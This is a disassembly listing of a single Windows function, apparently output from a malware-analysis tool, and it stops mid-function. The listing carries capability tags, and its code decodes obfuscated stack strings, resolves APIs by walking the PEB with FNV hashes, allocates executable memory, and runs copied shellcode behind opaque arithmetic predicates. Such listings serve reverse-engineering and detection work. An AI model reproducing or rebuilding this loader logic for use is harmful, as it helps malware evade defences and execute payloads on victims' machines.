Function at 0x1400e3f6c
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x70]
sub rsp, 0x170
mov rax, qword [0x14055c7c0]
xor rax, rsp
mov qword [rbp + 0x68], rax
xor r14d, r14d
mov r10d, r14d
mov dword [rsp + 0x50], r14d
call fcn.1400fc974
movsx r13d, al
call fcn.1400fc970
movsx ecx, al
imul r13d, ecx
call fcn.1400fc980
movsx ebx, al
mov dword [rbp - 0x78], ebx
imul eax, r13d, 7
add eax, ebx
mov dword [rsp + 0x54], eax
lea r9d, [r13*2]
add r9d, r13d
mov r12d, r9d
or r15, 0xffffffffffffffff
mov edi, 0x1000
lea esi, [r14 + 3]
lea ecx, [rbx + r13*4]
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x20], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, dword [rsp + 0x54]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e40a8
call fcn.1400fc978
movsx edx, al
movsx eax, byte [0x14055e028]
imul edx, eax
add edx, edx
call fcn.1400fc984
movsx ecx, al
sub edx, ecx
call fcn.1400fc97c
movsx ecx, al
add edx, ecx
mov r9d, r12d
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1400e40a8
mov eax, 1
mov dword [rbp - 0x30], eax
jmp 0x1400e4106
lea ecx, [rbx + r13]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r13*8]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e4103
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, ebx
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x20]
cvttsd2si eax, xmm0
jmp 0x1400e40a3
mov eax, dword [rbp - 0x30]
cmp r10d, eax
jge 0x1400e5784
mov dword [rbp - 0x10], r14d
mov dword [rsp + 0x60], 0xbfbac2dc
mov dword [rsp + 0x64], 0x10c4ceb9
mov dword [rsp + 0x68], 0x363d393a
mov byte [rsp + 0x6c], 0xca
xor eax, eax
mov dword [rsp + 0x6d], eax
mov byte [rsp + 0x71], al
mov qword [rsp + 0x20], r14
jmp 0x1400e4188
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rsp + rax + 0x60]
movabs rax, 0x6d7c4ce49526f479
add rcx, rax
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x4f
mov rax, qword [rsp + 0x20]
mov byte [rsp + rax + 0x60], r8b
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x12
jb 0x1400e4141
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
mov qword [rbp + 0x28], r14
mov qword [rbp + 0x30], r14
lea rax, [rsp + 0x60]
mov r8, r15
inc r8
cmp byte [rax + r8], r14b
jne 0x1400e41aa
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x18]
call fcn.140038c20
nop
mov dword [rsp + 0x30], 0x717a6e73
mov dword [rsp + 0x34], 0xb1bd7569
mov dword [rsp + 0x38], 0x7f7861bc
mov byte [rsp + 0x3c], 0x8a
xor eax, eax
mov qword [rsp + 0x3d], rax
mov dword [rsp + 0x45], eax
mov word [rsp + 0x49], ax
mov qword [rsp + 0x20], r14
jmp 0x1400e423d
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rsp + rax + 0x30]
movabs rax, 0xb531666c64e10dc1
add rcx, rax
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x47
mov rax, qword [rsp + 0x20]
mov byte [rsp + rax + 0x30], r8b
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x1b
jb 0x1400e41f6
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
mov qword [rbp + 8], r14
mov qword [rbp + 0x10], r14
lea rax, [rsp + 0x30]
mov r8, r15
inc r8
cmp byte [rax + r8], r14b
jne 0x1400e425f
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 8]
call fcn.140038c20
nop
lea rdx, [rbp + 0x18]
lea rcx, [rbp - 8]
call fcn.1400bc3b4
mov edx, 0x2000
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call rax
mov rbx, rax
mov qword [rbp - 0x80], rax
mov rdx, qword [rbp + 0x10]
mov r12d, reloc.WS2_32.dll_ntohs
cmp rdx, r12
jbe 0x1400e42da
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, rdi
jb 0x1400e42d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400e575a
call fcn.140165c30
mov qword [rbp + 8], r14
mov qword [rbp + 0x10], r12
mov byte [rbp - 8], r14b
mov rdx, qword [rbp + 0x30]
cmp rdx, r12
jbe 0x1400e431c
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, rdi
jb 0x1400e4317
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400e5761
call fcn.140165c30
mov qword [rbp + 0x28], r14
mov qword [rbp + 0x30], r12
mov byte [rbp + 0x18], r14b
lea rax, [rbx + 0xffa]
mov qword [rbp + 0x38], rax
add rbx, 0x1000
mov dword [rsp + 0x30], 0xef70ef5
mov word [rsp + 0x34], 0xe6f2
mov byte [rsp + 0x36], 0x60
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x37], xmm0
mov word [rsp + 0x47], ax
mov qword [rsp + 0x20], r14
jmp 0x1400e43ab
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rsp + rax + 0x30]
movabs rax, 0x128985620b9ed3f1
add rcx, rax
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x69
mov rax, qword [rsp + 0x20]
mov byte [rsp + rax + 0x30], r8b
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x19
jb 0x1400e4364
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], r14
lea rax, [rsp + 0x30]
mov r8, r15
inc r8
cmp byte [rax + r8], r14b
jne 0x1400e43cd
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.140038c20
nop
mov dword [rsp + 0x60], 0x7e8e8c81
mov dword [rsp + 0x64], 0x734a8180
mov word [rsp + 0x68], 0x8d8a
mov byte [rsp + 0x6a], Ordinal_26
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x6b], xmm0
mov word [rsp + 0x7b], ax
mov qword [rsp + 0x20], r14
jmp 0x1400e445e
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rsp + rax + 0x60]
movabs rax, 0xbb93de52a1a87c03
add rcx, rax
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x15
mov rax, qword [rsp + 0x20]
mov byte [rsp + rax + 0x60], r8b
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x1d
jb 0x1400e4417
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], r14
lea rax, [rsp + 0x60]
mov r8, r15
inc r8
cmp byte [rax + r8], r14b
jne 0x1400e4480
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x70]
call fcn.140038c20
nop
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x70]
call fcn.1400ce604
mov r8d, 6
lea rdx, [0x14055bfdc]
mov rcx, qword [rbp + 0x38]
call rax
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, r12
jbe 0x1400e44ef
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, rdi
jb 0x1400e44ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400e5768
call fcn.140165c30
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], r12
mov byte [rbp - 0x70], r14b
mov rdx, qword [rbp - 0x38]
cmp rdx, r12
jbe 0x1400e4531
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, rdi
jb 0x1400e452c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400e576f
call fcn.140165c30
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], r12
mov byte [rbp - 0x50], r14b
mov qword [rbp + 0x40], rbx
mov r9, qword [0x140560768]
test r9, r9
jne 0x1400e46c8
mov r15d, 0xaae02ba9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov r11, r12
xor edx, edx
movups xmm0, xmmword [r11 + 0x58]
movd eax, xmm0
sub ax, 8
test r14d, r14d
je 0x1400e45bc
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1400e45ac
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1400e459d
cmp edx, r14d
jne 0x1400e469c
xor edx, edx
mov r8, qword [r11 + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov rax, qword [rax + r8 + 0x88]
mov r10d, eax
add r10, r8
shr rax, 0x20
cmp r10, r8
je 0x1400e469e
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1400e469e
mov esi, dword [r10 + 0x20]
dec r9d
lea rcx, [r8 + r9*4]
mov edx, dword [rcx + rsi]
add rdx, r8
mov ebx, 0x811c9dc5
jmp 0x1400e460f
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x1400e4604
cmp ebx, r15d
je 0x1400e4626
xor edx, edx
test r9d, r9d
jne 0x1400e45f0
jmp 0x1400e469e
mov edx, dword [r10 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + 0x24]
add rcx, r8
movzx ecx, word [rcx + r9*2]
mov r9d, dword [rdx + rcx*4]
add r9, r8
cmp r9, r10
jbe 0x1400e4742
lea rcx, [rax + r10]
cmp r9, rcx
jae 0x1400e4742
mov r14d, 0x811c9dc5
mov r15d, r14d
jmp 0x1400e4671
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r9
mov al, byte [r9]
cmp al, 0x2e
jne 0x1400e4661
inc r9
xor edx, edx
jmp 0x1400e468f
movsx eax, al
xor eax, r15d
imul r15d, eax, 0x1000193
inc r9
mov al, byte [r9]
test al, al
jne 0x1400e467f
mov r11, qword [r12]
jmp 0x1400e469e
xor edx, edx
mov rax, qword [r11]
mov r11, rax
cmp rax, r12
je 0x1400e46b3
cmp qword [rax + 0x30], rdx
jne 0x1400e4570
xor r14d, r14d
mov r9d, r14d
mov qword [0x140560768], r9
or r15, 0xffffffffffffffff
lea esi, [r15 + 4]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0x40]
mov rcx, r15
call r9
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
lea rdi, [rbp + 0x98]
movabs rax, 0xff00ff00ff00ff07
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rdi
mov rbx, qword [rdi]
xor rbx, rax
mov qword [rsp + 0x30], rbx
mov qword [rdi], r14
mov ecx, r14d
mov rax, qword [0x14055e040]
lea r12, [0x140000000]
test rax, rax
je 0x1400e475b
mov r8, r14
lea rdx, [0x140079c7c]
cmp rax, rdx
je 0x1400e474a
inc ecx
mov r8d, ecx
mov rax, qword [r12 + rcx*8 + 0x55e040]
test rax, rax
jne 0x1400e4729
jmp 0x1400e475b
xor r14d, r14d
jmp 0x1400e46b9
mov r8, qword [r12 + r8*8 + 0x55e360]
test r8, r8
jne 0x1400e4843
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400e4782
mov r8, r14
jmp 0x1400e481b
lea rax, [0x140079c7c]
mov rcx, r8
mov rdx, rsi
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400e4795
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14055e030]
lea rcx, [0x140079c7c]
mov qword [r12 + rax*8 + 0x55e040], rcx
mov qword [r12 + rax*8 + 0x55e360], r8
inc rax
mov qword [0x14055e030], rax
lea rdx, [rbp + 0x38]
lea rcx, [0x1400f0084]
call r8
nop
movabs rax, 0xff00ff00ff00ff07
xor rbx, rax
mov qword [rsp + 0x30], rbx
mov qword [rdi], rbx
mov r9, qword [0x140560768]
test r9, r9
jne 0x1400e49e1
mov r15d, 0xaae02ba9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov r11, r12
xor edx, edx
movups xmm0, xmmword [r11 + 0x58]
movd eax, xmm0
sub ax, 8
test r14d, r14d
je 0x1400e48e2
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1400e48d2
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1400e48c3
cmp edx, r14d
jne 0x1400e49bc
xor edx, edx
mov r8, qword [r11 + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov rax, qword [rax + r8 + 0x88]
mov r10d, eax
add r10, r8
shr rax, 0x20
cmp r10, r8
je 0x1400e49be
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1400e49be
mov esi, dword [r10 + 0x20]
dec r9d
lea rcx, [r8 + r9*4]
mov edx, dword [rcx + rsi]
add rdx, r8
mov ebx, 0x811c9dc5
jmp 0x1400e4935
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x1400e492a
cmp ebx, r15d
je 0x1400e494c
xor edx, edx
test r9d, r9d
jne 0x1400e4916
jmp 0x1400e49be
mov edx, dword [r10 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + 0x24]
add rcx, r8
movzx ecx, word [rcx + r9*2]
mov r9d, dword [rdx + rcx*4]
add r9, r8
cmp r9, r10
jbe 0x1400e49d6
lea rcx, [rax + r10]
cmp r9, rcx
jae 0x1400e49d6
mov eax, 0x811c9dc5
mov r14d, eax
mov r15d, eax
jmp 0x1400e4991
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r9
mov al, byte [r9]
cmp al, 0x2e
jne 0x1400e4981
inc r9
xor edx, edx
jmp 0x1400e49af
movsx eax, al
xor eax, r15d
imul r15d, eax, 0x1000193
inc r9
mov al, byte [r9]
test al, al
jne 0x1400e499f
mov r11, qword [r12]
jmp 0x1400e49be
xor edx, edx
mov rax, qword [r11]
mov r11, rax
cmp rax, r12
je 0x1400e49d3
cmp qword [rax + 0x30], rdx
jne 0x1400e4896
mov r9, rdx
mov qword [0x140560768], r9
or r15, 0xffffffffffffffff
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0x40]
mov rcx, r15
call r9
lea eax, [r13*2]
add eax, r13d
mov r12d, dword [rbp - 0x78]
lea r14d, [r12 + rax*2]
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
mov r10d, dword [rsp + 0x54]
cmp eax, ecx
je 0x1400e51b0
xor r9d, r9d
mov esi, r9d
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x20], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e4af1
call fcn.1400fc978
movsx edx, al
movsx eax, byte [0x14055e028]
imul edx, eax
add edx, edx
call fcn.1400fc984
movsx ecx, al
sub edx, ecx
call fcn.1400fc97c
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1400e4af1
mov eax, 1
mov dword [rbp - 0x2c], eax
lea r11d, [r13*8]
add r11d, r13d
jmp 0x1400e4b64
lea r11d, [r13*8]
add r11d, r13d
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r11d
add eax, r12d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e4b61
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ebx, [r13*2]
add ebx, r13d
add eax, ebx
add eax, r12d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x20]
cvttsd2si eax, xmm0
mov dword [rbp - 0x2c], eax
jmp 0x1400e4b6f
mov eax, dword [rbp - 0x2c]
lea ebx, [r13*2]
add ebx, r13d
cmp esi, eax
jge 0x1400e4e52
mov rdi, qword [rbp + 0x38]
lea rax, [0x14055bfdc]
sub rdi, rax
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e4e03
lea rax, [rdi + r9]
lea rcx, [0x14055bfdc]
mov r8b, byte [rax + rcx]
mov dl, byte [r9 + rcx]
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xor eax, eax
cmp r8b, dl
setne al
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x20], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e4c63
call fcn.1400fc978
movsx edx, al
movsx eax, byte [0x14055e028]
imul edx, eax
add edx, edx
call fcn.1400fc984
movsx ecx, al
sub edx, ecx
call fcn.1400fc97c
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1400e4c63
mov dword [rbp - 0x28], 1
lea r10d, [r13*8]
add r10d, r13d
jmp 0x1400e4cbe
mov r10d, r11d
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r11d
add eax, r12d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e4cbe
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, ebx
add eax, r12d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x20]
cvttsd2si eax, xmm0
mov dword [rbp - 0x28], eax
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r12d
lea eax, [rax + r13*2]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, dword [rbp - 0x28]
test eax, eax
je 0x1400e4dfe
add ebx, r12d
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, ebx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x20], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, dword [rsp + 0x54]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e4d9c
call fcn.1400fc978
movsx edx, al
movsx eax, byte [0x14055e028]
imul edx, eax
add edx, edx
call fcn.1400fc984
movsx ecx, al
sub edx, ecx
call fcn.1400fc97c
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
jne 0x1400e4e1f
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r12d
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e4df5
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, ebx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x20]
cvttsd2si r8d, xmm0
mov dword [rbp - 0x24], r8d
jmp 0x1400e4df9
mov r8d, dword [rbp - 0x24]
test r8d, r8d
jg 0x1400e4e26
mov r10d, dword [rsp + 0x54]
inc r9
cmp r9, 6
lea ebx, [r13 + r13*2]
jb 0x1400e4b85
inc esi
xor r9d, r9d
jmp 0x1400e4a33
mov dword [rbp - 0x24], 1
mov edx, 1
lea rax, [0x14055bfdc]
mov cl, byte [r9 + rax]
mov rax, qword [rbp + 0x38]
cmp byte [r9 + rax], cl
cmovl edx, r15d
mov dword [rbp - 0x1c], edx
mov r10d, dword [rsp + 0x54]
xor r11d, r11d
jmp 0x1400e4f7d
lea r9d, [r11 + r12]
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x20], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e4f0b
call fcn.1400fc978
movsx edx, al
movsx eax, byte [0x14055e028]
imul edx, eax
add edx, edx
call fcn.1400fc984
movsx ecx, al
sub edx, ecx
call fcn.1400fc97c
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1400e4f0b
mov dword [rbp - 0x20], 1
xor r11d, r11d
jmp 0x1400e4f72
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e4f67
lea ecx, [r12 + r13]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r13*2]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x20]
cvttsd2si eax, xmm0
mov dword [rbp - 0x20], eax
jmp 0x1400e4f6a
mov eax, dword [rbp - 0x20]
xor r11d, r11d
cmp r11d, eax
jge 0x1400e4f7a
mov edx, r11d
mov dword [rbp - 0x1c], edx
jmp 0x1400e4f7d
mov edx, dword [rbp - 0x1c]
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mov rax, r11
test edx, edx
setne al
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x20], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e5019
call fcn.1400fc978
movsx edx, al
movsx eax, byte [0x14055e028]
imul edx, eax
add edx, edx
call fcn.1400fc984
movsx ecx, al
sub edx, ecx
call fcn.1400fc97c
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1400e5019
mov dword [rbp - 0x18], 1
jmp 0x1400e507a
lea ecx, [r12 + r13]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r13*8]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e507a
